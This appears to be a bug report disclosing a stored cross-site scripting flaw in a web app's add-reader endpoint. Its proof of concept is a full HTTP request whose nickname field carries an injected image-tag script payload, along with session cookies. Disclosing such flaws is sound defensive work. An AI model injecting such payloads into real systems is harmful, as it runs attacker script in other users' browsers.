Add reader has storage xss vulnerability

[Alex111998]

Use fiddler to mock a request to add reader:

then the message "xss2" popup will be on reader list page:

the poc is ：

`POST http://localhost:8080/user/addReader
Host: localhost:8080
Connection: keep-alive
Content-Length: 165
sec-ch-ua: "Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111"
Accept: /
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/reader/reader-add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: remember-me=YWRtaW46MTY4MDAxMTIyNDI0OTozODUzZDZkM2ExOWM5ZGFjZjQxMTljODBhMDhiNTU4Yw; JSESSIONID=E6CB8F800264AE98BAED6BFC9195E0FC

Request Body

{"nickname":"<img src=1 onerror=alert("xss2") />","username":"test001","password":"123456","birthday":"","tel":"","email":"","address":"","size":"","identity":"2"}
`